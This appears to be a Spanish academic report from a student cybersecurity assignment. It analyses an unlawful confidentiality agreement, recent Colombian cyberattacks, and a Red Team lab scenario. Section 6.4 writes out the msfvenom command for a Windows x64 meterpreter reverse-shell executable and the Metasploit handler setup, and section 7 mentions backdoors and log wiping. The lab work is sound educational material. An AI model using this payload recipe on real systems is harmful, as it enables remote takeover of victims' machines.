confidencialidad a los nuevos empleados sin revision por parte del departamento
de Recursos Humanos sugiere una falta de diligencia y profesionalismo por parte
de la empresa. Esto podria indicar un incumplimiento de las politicas internas de
la empresa y aumentar el riesgo de enfrentar acciones legales si el acuerdo
contiene clausulas probleméticas.

» Uso de problemas internos como parte de la prueba técnica: La utilizacion de
problemas internos como parte de la prueba técnica para los equipos Red Teamy
Blue Team plantea preocupaciones sobre la integridad y legalidad del proceso de
seleccion. Si estos problemas implican acceso no autorizado a sistemas o datos
confidenciales de la empresa, podria constituir una violacion de la ley y exponer a

la empresa a riesgos legales significativos.'4

Para el anexo 3 - en el acuerdo de confidencialidad entre el estudiante y HackerHouse,

se identifican algunas clausulas que podrian plantear preocupaciones desde un punto de

14 https://www.economiadehoy.es [pagina web]. [Consultado el 9, abril, 2024]. Disponible en Internet:
<https://www.economiadehoy.es/adjuntos/83485/Red-Blue-Purple-Team__ TRANXFER.pdf>.
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vista legal y ético:

» Clausula Primera - Objeto: Si bien es comun que un acuerdo de confidencialidad
establezca que la informacién compartida debe mantenerse confidencial, la
inclusién de la frase "sobre procesos ilegales dentro de HackerHouse no podran
ser divulgados" es problemética. Esta clausula podria interpretarse como una
prohibicién de divulgar actividades ilegales, lo cual podria implicar encubrimiento
de acciones delictivas y contravenir la obligacién legal de reportar actividades
ilegales.

» Clausula Segunda - Definicion de informacién confidencial: La inclusion de
términos como "datos de chuzadas, interceptacion ilegal de informacién, accesos
abusivos a sistemas informéticos” en la definicion de informacion confidencial
sugiere que la empresa podria estar involucrada en actividades ilegales. Ademas,
el hecho de incluir informacion sobre actividades ilegales como parte de la
definicion de informacion confidencial podria ser interpretado como un intento de
ocultar actividades delictivas.

» Clausula Cuarta - Obligaciones de la parte receptora: La clausula que prohibe
denunciar actividades sospechosas de espionaje o apropiacion de informacion de
terceros podria contravenir la obligacién legal de reportar actividades ilegales.
Ademas, la clausula que establece que la parte receptora es responsable por el
mal uso de la informacion confidencial por parte de sus representantes podria ser
considerada injusta, ya que la parte receptora podria no tener control sobre las

acciones de sus representantes.

En sintesis, diversas clausulas del acuerdo de confidencialidad entre el estudiante y
HackerHouse presentan posibles problemas desde una perspectiva legal y ética, ya que
podrian contravenir la obligacion legal de informar sobre actividades ilicitas y fomentar el
encubrimiento de acciones delictivas. Es esencial revisar y modificar estas clausulas para
asegurar que el acuerdo cumpla con las leyes y regulaciones aplicables. El origen del
acuerdo, la falta de revision por parte de Recursos Humanos y el uso de problemas

internos como parte de la prueba técnica también son aspectos que podrian considerarse
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ilegales o problematicos. Abordar estas preocupaciones y revisar el acuerdo de
confidencialidad se vuelve fundamental para garantizar su conformidad con las leyes y

regulaciones pertinentes.

5.1. Identificacién de Procesos llegales en el Anexo 3 — Acuerdo: Referencia a la
Legislaciéon Colombiana sobre Delitos Informéticos

En el Anexo 3 - Acuerdo de Confidencialidad, se identifica un posible proceso ilegal en la
clausula Segunda, donde se define la informacién confidencial. En particular, se
mencionan términos como "datos de chuzadas, interceptacion ilegal de informacion,
accesos abusivos a sistemas informaticos” como parte de la definicion de informacion
confidencial. Esto podria ser problemético desde un punto de vista legal, ya que se estaria
promoviendo o legitimando actividades ilegales en el acuerdo de confidencialidad.

La ley colombiana que podria ser relevante en este caso es la Ley 1273 de 2009, que
establece disposiciones para combatir los delitos informéaticos. En particular, el articulo
269A de esta ley tipifica como delito la interceptacion de datos informaticos sin
autorizacion, y el articulo 269B tipifica como delito el acceso abusivo a un sistema

informatico.

Por lo tanto, la inclusion de términos relacionados con actividades ilegales en la
definicion de informacion confidencial podria estar violando la Ley 1273 de 2009, en
especifico los articulos 269A y 269B, que prohiben la interceptacion ilegal de datos y el

acceso abusivo a sistemas informéaticos.

5.2. Consideracion Etica del Acuerdo de Confidencialidad en HackerHouse a la
Luz del Cadigo de Etica de COPNIA

Aceptar un contrato y acuerdo de confidencialidad que involucre actividades ilegales va
en contra de los principios éticos y legales que rigen la profesion de ingenieria y cualquier

otra profesion. Incluso si el salario ofrecido es alto, comprometer la integridad ética y legal
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por una compensacion financiera no es justificable.

Nosotros como profesionales de ingenieria estamos sujetos a codigos de ética
especificos que enfatizan la integridad, la honestidad y el cumplimiento de las leyes y
regulaciones. El incumplimiento de estos principios puede resultar en sanciones graves,

incluida la revocacion de la licencia profesional.

Por lo tanto, aceptar un contrato que implique actividades ilegales va en contra de los
principios éticos y legales de la profesion, y podria tener consecuencias graves para la
carrera profesional y nuestra reputacion como individuos. En lugar de aceptar un acuerdo
que viole la ley, seria mas apropiado denunciar tales actividades y buscar empleo en

organizaciones que operen de manera ética y legal.'®

5.3. Cibercrimen en Colombia: Analisis Legal y Etico a la Luz de la Ley 1273 de
2009

» AnyDesk

El 2 de febrero de 2024, AnyDesk, proveedor de software de escritorio remoto, anuncio
haber sido victima de un ciberataque que comprometid sus sistemas de produccién. Este
incidente, perpetrado por actores maliciosos, tiene implicaciones significativas para los

clientes de AnyDesk.

La compaiiia emiti6 un comunicado publico sobre posibles violaciones de seguridad en
algunos de sus sistemas. Posteriormente, llevdo a cabo una exhaustiva auditoria de
seguridad, confirmando que sus sistemas de produccién habian sido comprometidos. Las
consecuencias de esta brecha son alarmantes, ya que expuso datos confidenciales de
los clientes a los ciberdelincuentes. Entre los datos comprometidos se encuentran

credenciales de acceso pertenecientes tanto a consumidores individuales como a

15 COPNIA. CODIGO DE ética | Copnia. https://www.copnia.gov.co [pagina web]. [Consultado el 9, abril,
2024]. Disponible en Internet: <https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica>.
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empresas, lo que podria dar acceso al portal de clientes de AnyDesk. Ademas, se estima

que unas 18.317 cuentas estaban a la venta en sitios clandestinos.

En este caso de la violacion de datos en AnyDesk, donde los ciberdelincuentes
comprometieron los sistemas de la empresa y accedieron a informacion confidencial de
los clientes, incluidas credenciales de acceso y datos personales, teniendo en cuenta el
punto de vista legal en Colombia, este incidente podria violar la Ley 1581 de 2012,
conocida como la Ley de Proteccion de Datos Personales, que establece las normas para
la recoleccién, almacenamiento, uso, circulacién y proteccién de datos personales. De
acuerdo con esta ley, las empresas tienen la responsabilidad de proteger la informacién
personal de sus clientes y deben tomar medidas adecuadas para evitar violaciones de

seguridad como la ocurrida en el caso de AnyDesk.

El incumplimiento de esta ley podria resultar en sanciones econdémicas significativas para
AnyDesk, asi como en dafios a la reputacion de la empresa y la pérdida de confianza de

los clientes.

Desde una perspectiva ética, el incidente plantea preocupaciones sobre la privacidad y
la seguridad de los datos de los clientes. AnyDesk tiene la responsabilidad ética de
proteger la informacion confidencial de sus usuarios y de ser transparente sobre lo
sucedido, informando a los afectados y tomando medidas para remediar el problema y

prevenir futuras violaciones de seguridad.

En conclusion, el caso de AnyDesk ilustra las serias implicaciones legales y éticas de las
violaciones de seguridad de datos. Las empresas deben cumplir con las leyes de
proteccion de datos y tomar medidas proactivas para garantizar la seguridad y privacidad

de la informacion de sus clientes.16

16 Una Al Dia. [Consulta: 04 de abril 2024]. Disponible en:
https://unaaldia.hispasec.com/2024/02/anydesk-confirma-ciberataque-a-servidores-de-produccion-codigo-
fuente-y-claves-robadas.html. 2024.
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» Ataque a Audifarma — enero 22:

El ataque a Audifarma, una empresa dedicada a la gestion farmacéutica en Colombia
pone de manifiesto importantes implicaciones legales y éticas en cuanto a la proteccion

de datos personales y la responsabilidad empresarial.

Desde el punto de vista legal, la Ley Estatutaria 1581 de 2012 sobre Proteccién de Datos
Personales en Colombia establece los principios y procedimientos para garantizar la
seguridad y privacidad de la informacién personal de los ciudadanos. En este caso, si se
confirma que los datos de los usuarios de Audifarma fueron comprometidos debido al
ataque cibernético, la empresa podria enfrentar sanciones legales significativas por

incumplimiento de esta ley.

Desde una perspectiva ética, Audifarma tiene la responsabilidad de proteger la
informacion confidencial de sus clientes, especialmente cuando se trata de datos médicos
y personales relacionados con la salud. El hecho de que se haya producido un acceso
no autorizado a esta informacién plantea serias dudas sobre las medidas de seguridad

implementadas por la empresa y su compromiso con la privacidad de los usuarios.

En términos de responsabilidad legal, el articulo 269B del Cédigo Penal Colombiano
tipifica como delito la interceptacién de datos informéticos, lo que podria aplicarse si se
demuestra que los responsables del ataque a Audifarma accedieron ilegalmente a la

informacion de la empresa.

En resumen, el ataque a Audifarma destaca la importancia de reforzar las medidas de
seguridad cibernética y cumplir con las leyes y regulaciones relacionadas con la
proteccion de datos personales. Asimismo, subraya la responsabilidad ética de las

empresas en la proteccion de la informacién confidencial de sus clientes.’

17 E| Espectador. AUDIFARMA SUFRIO ataque cibernético y suspendio el servicio en sus plataformas.
https://lwww.elespectador.com [pagina web]. [Consultado el 9, abril, 2024]. Disponible en Internet:
<https://www.elespectador.com/salud/audifarma-sufrio-ataque-cibernetico-y-suspendio-el-servicio-en-sus-
plataformas/>.
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» Ataque a Grupo Nutresa — 20 de abril:

El ataque al Grupo Nutresa, un conglomerado de procesamiento de alimentos en
Colombia plantea importantes consideraciones legales y éticas en cuanto a la seguridad

de la informacion y la responsabilidad empresarial.

En términos legales, si se confirma que los sistemas de Tl del Grupo Nutresa fueron
comprometidos por un ataque de ransomware, la empresa podria enfrentar sanciones
legales por violacion de la Ley de Proteccion de Datos Personales y por no proteger

adecuadamente la informacion confidencial de sus empleados y clientes.

Desde una perspectiva ética, el Grupo Nutresa tiene la responsabilidad de proteger la
informacion confidencial de sus partes interesadas, incluidos los empleados, clientes y
proveedores. El hecho de que se haya producido un acceso no autorizado a esta
informacion plantea interrogantes sobre las medidas de seguridad implementadas por la

empresa y su compromiso con la privacidad y seguridad de los datos.

En términos de responsabilidad legal, el articulo 269B del Cédigo Penal Colombiano, que
tipifica como delito la interceptacion de datos informéticos, podria aplicarse si se
demuestra que los responsables del ataque accedieron ilegalmente a la informacion del

Grupo Nutresa.

En conclusion, el ataque al Grupo Nutresa destaca la importancia de implementar
medidas de seguridad cibernética robustas y cumplir con las leyes y regulaciones
relacionadas con la proteccion de datos personales. Asimismo, subraya la
responsabilidad ética de las empresas en la proteccion de la informacién confidencial de

sus partes interesadas.!®

18 Blu Radio. NUTRESA CONFIRMO que esta siendo victima de un ciberataque de ransomware.
https://www.bluradio.com [pagina web]. [Consultado el 9, abril, 2024]. Disponible en Internet:
<https://www.bluradio.com/blu360/antioquia/nutresa-confirmo-que-esta-siendo-victima-de-un-ciberataque-
de-ransomware-rg10>.
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» Ataque a Colombia Compra Eficiente — 2 de mayo:

El atague a Colombia Compra Eficiente, la agencia nacional de contratacion publica en
Colombia plantea importantes implicaciones legales y éticas en cuanto a la seguridad de

la informacion y la responsabilidad del gobierno en la proteccion de datos.

Desde el punto de vista legal, si se confirma que la plataforma de Colombia Compra
Eficiente fue victima de un ataque cibernético, la agencia podria enfrentar sanciones
legales por incumplimiento de la Ley de Proteccion de Datos Personales y por no proteger
adecuadamente la informacion confidencial de los contratistas y proveedores del

gobierno.

En términos éticos, el gobierno tiene la responsabilidad de proteger la informacién
confidencial de los ciudadanos y las empresas que participan en procesos de
contratacion publica. El hecho de que se haya producido un acceso no autorizado a esta
informacion plantea interrogantes sobre las medidas de seguridad implementadas por la
agencia y su compromiso con la transparencia y la integridad en los procesos de

contratacion.

En términos de responsabilidad legal, el articulo 269B del Cddigo Penal Colombiano, que
tipifica como delito la interceptaciéon de datos informéticos, podria aplicarse si se
demuestra que los responsables del ataque accedieron ilegalmente a la informacion de

Colombia Compra Eficiente.

En resumen, el ataque a Colombia Compra Eficiente destaca la importancia de
implementar medidas de seguridad cibernética sélidas en las instituciones
gubernamentales y cumplir con las leyes y regulaciones relacionadas con la proteccién
de datos personales. Asimismo, subraya la responsabilidad ética del gobierno en la

proteccion de la informacion confidencial de los ciudadanos y las empresas.

42



» Ataque al Registro Nacional de Medidas Correctivas (RNMC) de la Policia

Nacional de Colombia - junio 13:

El ataque al Registro Nacional de Medidas Correctivas (RNMC) de la Policia Nacional de
Colombia plantea importantes implicaciones legales y éticas en cuanto a la proteccion de
datos personales y la responsabilidad del gobierno en la seguridad de la informacion.

Desde el punto de vista legal, si se confirma que el RNMC fue victima de un ataque
cibernético, la Policia Nacional podria enfrentar sanciones legales por incumplimiento de
la Ley de Proteccion de Datos Personales y por no proteger adecuadamente la

informacion confidencial de los ciudadanos registrada en el sistema.

En términos éticos, el gobierno tiene la responsabilidad de proteger la informacién
confidencial de los ciudadanos, especialmente cuando se trata de datos sensibles
relacionados con medidas correctivas y comportamientos contrarios a la convivencia. El
hecho de que se haya producido un acceso no autorizado a esta informacién plantea
interrogantes sobre las medidas de seguridad implementadas por la Policia Nacional y

su compromiso con la seguridad y la privacidad de los ciudadanos.

En términos de responsabilidad legal, el articulo 269B del Cddigo Penal Colombiano, que
tipifica como delito la interceptacibn de datos informaticos, podria aplicarse si se
demuestra que los responsables del ataque accedieron ilegalmente a la informacion del
RNMC.

En resumen, el ataque al RNMC de la Policia Nacional de Colombia destaca la
importancia de implementar medidas de seguridad cibernética solidas en las instituciones
gubernamentales y cumplir con las leyes y regulaciones relacionadas con la proteccién
de datos personales. Asimismo, subraya la responsabilidad ética del gobierno en la
proteccion de la informacion confidencial de los ciudadanos y la importancia de fortalecer

la seguridad cibernética en el sector publico.*®

19 HTTPS://TWITTER.COM/ELHACKERNET/STATUS/1668675680928759809/PHOTO/1  [An6nimao].
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» Ataque a IFX Networks — 12 de septiembre:

El ataque a IFX Networks, un proveedor de servicios de telecomunicaciones en Colombia,
plantea importantes implicaciones legales y éticas en cuanto a la proteccion de datos y

la responsabilidad empresarial.

Desde el punto de vista legal, si se confirma que los datos de las entidades publicas
fueron comprometidos debido al ataque cibernético a IFX Networks, la empresa podria
enfrentar sanciones legales por incumplimiento de la Ley de Proteccion de Datos

Personales y por no proteger adecuadamente la informacién confidencial de sus clientes.

En términos éticos, IFX Networks tiene la responsabilidad de proteger la informacion
confidencial de sus clientes, especialmente cuando se trata de datos sensibles
relacionados con entidades gubernamentales y servicios publicos. El hecho de que se
haya producido un acceso no autorizado a esta informacién plantea interrogantes sobre
las medidas de seguridad implementadas por la empresa y su compromiso con la

seguridad y la privacidad de los datos.?°

En términos de responsabilidad legal, el articulo 269B del Cddigo Penal Colombiano, que
tipifica como delito la interceptacion de datos informéticos, podria aplicarse si se
demuestra que los responsables del ataque accedieron ilegalmente a la informacion de
IFX Networks.

En resumen, el ataque a IFX Networks destaca la importancia de implementar medidas
de seguridad cibernética sdlidas y cumplir con las leyes y regulaciones relacionadas con
la proteccion de datos personales. Asimismo, subraya la responsabilidad ética de las

empresas en la proteccion de la informacion confidencial de sus clientes y la importancia

http://twitter.com/ [pagina web]. [Consultado el 9, abril, 2024]. Disponible en Internet:
<https://pic.twitter.com/PC5M2gyZHD>.

20 La Republica. IFX TIENE hasta el fin de semana para poder recuperar los datos y restablecer servicios.
https://www.larepublica.co [pagina web]. [Consultado el 9, abril, 2024]. Disponible en Internet:
<https://www.larepublica.co/empresas/ifx-tiene-hasta-el-fin-de-semana-para-poder-recuperar-los-datos-y-
restablecer-servicios-3709427>.
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de fortalecer la seguridad cibernética en el sector privado.?!

6. Analisis de Herramientas Software para Equipo Redteam en el Escenario 3:

Configuracién y Utilizacion en el Banco de Trabajo

Para llevar a cabo el Anexo 4 - Escenario 3 enfocado en Red Team, se utilizaron varias
herramientas de software especializadas en ciberseguridad y pentesting. A continuacion,

se describe cada una de ellas:

» Kali Linux: Se trata de una distribucion de Linux especializada en seguridad
informatica y pentesting. Kali Linux es ampliamente utilizada por profesionales de
la seguridad cibernética debido a su extensa coleccion de herramientas
preinstaladas para pruebas de penetracion y evaluacion de seguridad.

» Metasploit Framework: Es una herramienta de cddigo abierto ampliamente
utilizada para el desarrollo y ejecucidn de exploits. Metasploit Framework
proporciona una plataforma para desarrollar, probar y ejecutar exploits contra
sistemas informaticos con el fin de detectar y aprovechar vulnerabilidades.

» Msfvenom: Es una utilidad dentro del Metasploit Framework que se utiliza para
generar payloads de exploits. Msfvenom permite a los usuarios crear payloads
personalizados para diferentes sistemas operativos y arquitecturas, incluidos
ejecutables de Windows, scripts de shell, codigos maliciosos y mas.??

» WhatsApp Web: Aunque no es una herramienta especifica de pentesting,
WhatsApp Web se utilizo en el escenario como un medio para transferir el archivo
malicioso desde la maquina del atacante a la victima. WhatsApp Web permite a

los usuarios enviar archivos y mensajes desde su navegador web.

21 BENITO, Luis. Ciberataque en Colombia: el viernes todas las instituciones afectadas recuperaran su
operatividad aseguré IFX Networks. https://www.infobae.com [pagina web]. (21, septiembre, 2023).
[Consultado el 9, abril, 2024]. Disponible en Internet:
<https://www.infobae.com/colombia/2023/09/21/ciberataque-en-colombia-el-viernes-todas-las-
instituciones-afectadas-recuperarian-su-operatividad-asegura-ifx-networks/>.

22 Exploit-DB. OFFSEC’S EXPLOIT Database Archive. https://www.exploit-db.com/ [pagina web].
[Consultado el 9, abril, 2024]. Disponible en Internet: <https://www.exploit-db.com/>.
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» Nmap: es una herramienta de escaneo de red utilizada para descubrir dispositivos
y servicios en una red. Se utilizé para identificar la configuracion de red y los
puertos abiertos en la maquina Windows 10 X64, lo que permitié determinar la
viabilidad del ataque y la posible explotacion de servicios vulnerables.

» Windows Defender y Firewall: Aunque se menciona que estaban desactivados
en el sistema comprometido, estas herramientas son fundamentales en la
proteccion del sistema contra malware y atagues cibernéticos. La falta de
activacion y configuracion adecuada de Windows Defender y el Firewall de
Windows contribuyé a la vulnerabilidad del sistema ante el ataque.

Estas herramientas se utilizaron en conjunto para crear un escenario de pentesting en el
que se simuld un atague mediante la creacion y ejecucién de un payload malicioso en
una maquina Windows 10, seguido por la explotacion de una vulnerabilidad para obtener

acceso remoto a la maquina comprometida.

6.1. Identificacion del Fallo de Seguridad en Windows 10 X64: Datos Relevantes

del Anexo 4 - Escenario 3

Para identificar el fallo de seguridad especifico que afecta a la maquina Windows 10 de
64 bits en el escenario descrito, los siguientes datos e informacion proporcionados en el

anexo fueron de ayuda:

» Descubrimiento de un archivo .txt en el escritorio: El administrador de la
computadora afectada encontré un archivo de texto en el escritorio con un formato
especifico que contenia la siguiente informacion
Yira_Marcela_ 1140827779 _16032024. Esta anomalia indica que el sistema ha
sido comprometido de alguna manera y que se han realizado cambios en el
sistema, lo que sugiere una posible actividad maliciosa.

» Ejecucion de un archivo .exe: Se menciona que el administrador ejecutdé un
archivo .exe llamado PoC_1140827779, que fue enviado a través de WhatsApp

Web por un compafiero de trabajo. Esta accion puede haber sido el vector de
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ataque utilizado por los adversarios para comprometer el sistema y obtener acceso
no autorizado.

» Desactivacion de sistemas de seguridad: Se sefala que todos los sistemas de
seguridad del sistema operativo, como el firewall, Windows Defender y el antivirus,
estaban completamente desactivados. Esta falta de proteccion antivirus y de
firewall deja al sistema vulnerable a ataques y explotaciones, facilitando la
intrusion y el movimiento lateral en la red.

» Presencia de un experto en ciberseguridad: Se menciona que un experto en
ciberseguridad de HackerHouse sugiere que el incidente podria estar relacionado
con la creaciébn y ejecucidon de un payload utilizando herramientas como
MSFVenom y Metasploit. Esta informacién proporciona una pista crucial sobre la
posible técnica utilizada por los adversarios para comprometer el sistema.

» Explicacion del proceso de creacion de un payload: Se detalla el proceso de
creacion de un payload utilizando la herramienta MSFVenom, incluyendo los
parametros especificos utilizados para generar un payload compatible con la
arquitectura x64 de Windows 10. Esta informacion proporciona una comprension
clara de como se pudo haber creado el archivo ejecutable malicioso utilizado en el

ataque.

La identificacion del fallo de seguridad especifico se basa en la presencia de actividades
anomalas, como la ejecucién de un archivo .exe desconocido, la desactivacion de
sistemas de seguridad y la sospecha de la utilizacion de técnicas de creacion y ejecucion
de payloads por parte de un experto en ciberseguridad. Estos datos e informacién son
fundamentales para comprender la naturaleza del incidente y tomar medidas correctivas
adecuadas.

6.2. Identificacion de Fallos de Seguridad en Windows 10: Herramienta Utilizada

y Puerto Abierto.

La herramienta utilizada para identificar los fallos de seguridad en la maquina Windows
10 fue Metasploit, especificamente a través de su moédulo exploit/multi’/handler. Este

modulo se utiliza para establecer un escucha en el sistema atacante para recibir
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conexiones de las victimas comprometidas.

El puerto especifico que abre la aplicacion en el anexo es el puerto 443. Este puerto es

utilizado para la comunicacion entre la maquina atacada y la maquina atacante cuando

se ejecuta el payload malicioso y se establece la sesion de Meterpreter.

6.3.

Ataque a la Maquina Windows 10 X64: Impacto y Andlisis Gréfico.

El ataque a la maquina Windows 10 de 64 bits afecta de varias maneras:

» Compromiso del sistema operativo: El hecho de que un archivo .exe

desconocido haya sido ejecutado en la maquina comprometida indica que los
adversarios han logrado infiltrarse en el sistema. Esto significa que tienen acceso
no autorizado y pueden realizar una variedad de acciones maliciosas en la
maquina.

Eliminacién de archivos criticos: La desaparicion del archivo .txt ubicado en el
escritorio sugiere que los adversarios han sido capaces de eliminar archivos
importantes del sistema sin ser detectados. En este caso, el archivo .txt
probablemente contenia informacion sensible o critica para la organizacion, lo que
podria tener consecuencias graves.

Desactivaciéon de sistemas de seguridad: La desactivacion total de los sistemas
de seguridad del sistema operativo, como el firewall, Windows Defender y el
antivirus, deja al sistema vulnerable a futuros ataques y explotaciones. Esto
permite que los adversarios persistan en el sistema sin ser detectados y lleven a
cabo actividades maliciosas adicionales.

Posible acceso remoto no autorizado: Si se ha creado y ejecutado con éxito un
payload utilizando herramientas como MSFVenom y Metasploit, es probable que
los adversarios hayan establecido un acceso remoto persistente a la maquina

comprometida. Esto significa que pueden acceder al sistema en cualquier
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momento, robar informacion confidencial, instalar malware adicional o llevar a

cabo otras actividades maliciosas sin ser detectados.

El ataque compromete la integridad y seguridad del sistema operativo Windows 10 de 64
bits al permitir a los adversarios obtener acceso no autorizado, eliminar archivos criticos,
desactivar los sistemas de seguridad y potencialmente establecer un acceso remoto
persistente. Esto pone en riesgo la confidencialidad, integridad y disponibilidad de la
informacion almacenada en la maquina comprometida y puede tener graves

repercusiones para la organizacion afectada.

Figura 8 - Diagrama de Ataque
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6.4. Documentacién de Comandos y Estructura del Payload
A continuacién, los comandos utilizados para crear el payload y ejecutarlo, junto con una

explicacion de la estructura desarrollada:
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Comandos para crear el Payload:
» Iniciamos la herramienta msfvenom en la consola de Linux: msfvenom
» Crear el payload con el siguiente comando, teniendo en cuenta la estructura de
sintaxis y los parametros necesarios:
msfvenom -p Windows/x64/meterpreter/reverse_tcp --platform windows -a x64
LHOST=IP_KALI LPORT=443 -f exe >>

/Directorio_guardar_ejecutable/Nombreejecutable.exe

e -p: Indica el tipo de payload a usar, que en este caso es una Shell reversa para
arquitectura x64 de Windows.

e --platform: Indica la plataforma objetivo, que es Windows.

e -a: Especifica la arquitectura a atacar, en este caso, x64.

e LHOST: La direccién IP de la maquina atacante (Kali Linux).

e LPORT: El puerto de escucha en la maquina atacante.

o -fexe: Indica el formato del archivo de salida, que en este caso es un ejecutable
de Windows (.exe).

e >> /Directorio_guardar_ejecutable/Nombreejecutable.exe: La ruta donde se
guardara el archivo ejecutable generado por msfvenom.

Comandos para ejecutar el Payload:
» Iniciar msfconsole en una consola de Linux: msfconsole
» Utilizar el exploit y establecer los parametros necesarios:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST IP_KALI
set LPORT 443
» Ejecutar el exploit: exploit
Estos comandos permiten crear un payload malicioso utilizando msfvenom y luego
ejecutarlo en la maquina objetivo utilizando Metasploit para establecer una conexion

reversa y tomar el control de la magquina comprometida. Es importante tener en cuenta
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gue estos pasos se utilizan con fines educativos y éticos, y el uso indebido de estas

herramientas puede ser ilegal y esta estrictamente prohibido.

7.

Informe de herramientas y procedimientos utilizados para dar solucién al

escenario de Red Team de acuerdo con los pasos del pentesting.

El siguiente informe detalla las herramientas y procedimientos utilizados para abordar el

escenario de Red Team, siguiendo los pasos del pentesting:

» Reconocimiento (Reconnaissance):

Se utilizé herramientas como Nmap para explorar la red y descubrir los dispositivos
y servicios en ella.
Se realizaron busquedas de informacién en linea para recopilar datos sobre la

organizacioén, como nombres de dominio, direcciones IP, empleados, etc.

Enumeracion (Enumeration):

Se emplearon herramientas como Enumdlinux y SMBclient para enumerar
recursos compartidos y usuarios en sistemas Windows.

Se realiz6 un escaneo de puertos con Nmap para detectar servicios Yy

vulnerabilidades adicionales.

Explotacion (Exploitation):

Se utilizé Metasploit para aprovechar las vulnerabilidades encontradas y obtener
acceso al sistema objetivo.

Se cred un payload malicioso con Msfvenom para la generacion de un ejecutable
gue permitiera establecer una conexion de Meterpreter inverso.
Post-explotacion (Post-exploitation):

Después de obtener acceso al sistema, se utiliz6 Meterpreter para realizar
acciones como la escalada de privilegios, la recopilacion de informacion y la

manipulacion de archivos.
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e Se emplearon comandos de Meterpreter para explorar el sistema, obtener

informacion sensible y tomar el control total de la maquina comprometida.

Mantenimiento de Acceso (Maintaining Access):
» Se implementaron técnicas para mantener el acceso a la maquina comprometida,
como la creacién de usuarios adicionales, el establecimiento de backdoors y la

modificacion de configuraciones para permitir el acceso futuro.

Cubrir Huellas (Covering Tracks):
» Se utilizaron herramientas y comandos para eliminar evidencia de la actividad
realizada, como la eliminacién de logs, archivos temporales y registros de

comandos ejecutados.

En resumen, se sigui®6 un enfoque metdédico de pentesting para identificar
vulnerabilidades, explotarlas de manera controlada, obtener acceso al sistema objetivo y
mantener ese acceso de manera encubierta mientras se realizaban las acciones
necesarias para cumplir los objetivos del Red Team. Se emplearon diversas herramientas
y técnicas para cada fase del proceso, asegurando una evaluacion completa de la

seguridad de la organizacion.

8. Informe con analisis del caso de Red Team, que permitié dar solucién al fallo
identificado.

El analisis del caso de Red Team reveld una serie de vulnerabilidades en el sistema
operativo Windows 10 X64 de la organizacion HackerHouse. Estas vulnerabilidades
fueron explotadas mediante el envio y ejecucion de un archivo malicioso por parte de un
compariero de trabajo a través de WhatsApp Web. A continuacion, se detalla el analisis

del caso y las soluciones implementadas para abordar las vulnerabilidades identificadas:
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» Vulnerabilidad Identificada: El sistema operativo Windows 10 X64 estaba
desactualizado y carecia de parches de seguridad, lo que permiti6 la ejecucion del
archivo malicioso sin deteccion por parte de las herramientas de seguridad. Los
sistemas de seguridad integrados en Windows, como el Firewall y Windows
Defender, estaban desactivados, lo que dejé al sistema vulnerable a ataques
externos.

» Impacto del Ataque: La ejecucion del archivo malicioso provoca la instalacion de
un payload en el sistema comprometido, que permiti6 a los atacantes obtener
acceso remoto y control total sobre la maquina. La eliminacién del archivo de texto
del escritorio del usuario afectado sugiere que los atacantes pudieron realizar
acciones no autorizadas en el sistema, como la manipulacién o eliminacion de
archivos sensibles.

» Soluciones Implementadas: Se recomendd actualizar el sistema operativo
Windows 10 X64 y aplicar todos los parches de seguridad disponibles para corregir

las vulnerabilidades conocidas.

Se sugiere habilitar y configurar adecuadamente las herramientas de seguridad
integradas en Windows, como el Firewall y Windows Defender, para proporcionar una
capa adicional de proteccion contra amenazas conocidas y desconocidas.

Se recomienda sensibilizar al personal sobre las practicas de seguridad cibernética,
incluida la identificacion de archivos adjuntos sospechosos y la importancia de mantener

actualizados los sistemas y las aplicaciones.

Medidas de Seguridad Adicionales: Se sugiere implementar soluciones de seguridad
adicionales, como software antivirus de terceros y herramientas de deteccion de
intrusiones, para mejorar la capacidad de deteccion y respuesta ante amenazas. Se
recomienda realizar evaluaciones regulares de vulnerabilidades y pruebas de penetracién

para identificar y abordar posibles brechas de seguridad en el futuro.

El analisis del caso de Red Team destaco la importancia de mantener actualizados los
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sistemas, habilitar las herramientas de seguridad integradas y educar al personal sobre
las mejores practicas de seguridad cibernética. La implementacion de soluciones y
medidas de seguridad adicionales ayudara a mitigar futuros riesgos y proteger los activos

de la organizacion contra atagques cibernéticos.

9. Analisis del ataque presentado a cada una de las maquinas identificadas.
El andlisis del ataque presentado a cada una de las maquinas identificadas se puede

desglosar de la siguiente manera:

» Maguina Windows 10 X64 comprometida:

e El ataque comienza con el envio de un archivo ejecutable malicioso llamado
PoC_1140827779.exe a través de WhatsApp Web.

e El administrador de la maquina descarga y ejecuta el archivo, lo que permite que
el sistema sea comprometido.

e EIl atacante puede haber utilizado una carga util creada con Msfvenom para
generar un archivo .exe malicioso que aprovecha una vulnerabilidad en el sistema
operativo Windows 10.

e Unavez que el archivo malicioso se ejecuta en la maquina comprometida, se abre

una sesién inversa que permite al atacante obtener acceso remoto al sistema.

» Maguina Kali Linux (Atacante):

e En la maquina del atacante (Kali Linux), se configura Metasploit para escuchar
conexiones entrantes.

e Se utiliza el exploit/multi/handler de Metasploit para abrir un puerto y esperar la
conexién de la maquina comprometida.

e Una vez que la conexion es establecida desde la maquina Windows 10 X64
comprometida, se establece una sesion de meterpreter que proporciona al
atacante un control total sobre el sistema comprometido.

e Con la sesion de meterpreter activa, el atacante puede explorar y manipular el

sistema comprometido segun sus objetivos.
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El ataque implica la explotacion de una vulnerabilidad en el sistema operativo Windows
10 X64 para lograr acceso no autorizado y control remoto por parte del atacante desde

una maquina Kali Linux.

10. Informe de la explotaciéon de vulnerabilidades en el escenario propuesto.

El informe de la explotacion de vulnerabilidades en el escenario propuesto implica
identificar las vulnerabilidades explotadas, describir como se llevaron a cabo las
explotaciones y proponer medidas correctivas para mitigar los riesgos de seguridad. A

continuacion, se presenta un resumen del informe:

Vulnerabilidades Explotadas:

» Falta de Actualizaciones de Seguridad: La maquina Windows 10 X64 estaba
desactualizada, lo que podria haber dejado vulnerabilidades conocidas sin
parchear.

» Descargay Ejecucion de Archivos Maliciosos: El administrador de la maquina
descargd y ejecutd un archivo ejecutable malicioso (PoC_1140827779.exe) sin
verificar su autenticidad ni su seguridad.

» Desactivacion de Sistemas de Seguridad: El administrador tenia desactivados
todos los sistemas de seguridad, incluyendo el Firewall de Windows, Windows

Defender y el antivirus, lo que dejé al sistema mas vulnerable a ataques.

Descripcién de la Explotacién:

» Envio del Archivo Malicioso: El atacante envi6 el archivo PoC_1140827779.exe
